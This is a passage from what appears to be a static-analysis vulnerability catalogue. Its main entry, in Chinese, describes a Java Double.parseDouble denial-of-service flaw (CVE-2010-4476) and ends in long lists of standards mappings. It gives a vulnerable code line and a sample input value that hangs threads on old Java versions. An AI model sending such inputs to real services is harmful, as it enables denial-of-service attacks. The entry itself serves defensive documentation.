[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark availability
[7] Standards Mapping - Common Weakness Enumeration CWE ID 730
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - OWASP Top 10 2013 A1 Injection
[13] Standards Mapping - OWASP Top 10 2017 A1 Injection
[14] Standards Mapping - OWASP Top 10 2021 A03 Injection
[15] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[16] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[49] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[50] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_format_string
Abstract
程式會呼叫一種方法來解析 double,還可能使得執行緒暫停。
Explanation
java.lang.Double.parseDouble() 和相關方法的實作有一個弱點,可能會在解析 [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)] 範圍中的任何數字時造成執行緒暫停。這個瑕疵可以用來執行阻斷服務 (DoS) 攻擊。

範例 1:下列程式碼使用易受攻擊的方法。

Double d = Double.parseDouble(request.getParameter("d"));


攻擊者可能會在參數 d 是範圍中的數值時 (例如 "0.0222507385850720119e-00306") 傳送要求,以造成程式在處理要求時暫停。

此弱點存在於 Java 第 6 版第 23 號更新及更舊版本中。Java 第 6 版第 24 號更新及更新版本中不存在此問題。
References
[1] Rick Regan Java Hangs When Converting 2.2250738585072012e-308
[2] Oracle Security Alert for CVE-2010-4476
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark availability
[8] Standards Mapping - Common Weakness Enumeration CWE ID 400
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [20] CWE ID 400
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [23] CWE ID 400
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [23] CWE ID 400
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[15] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_parse_double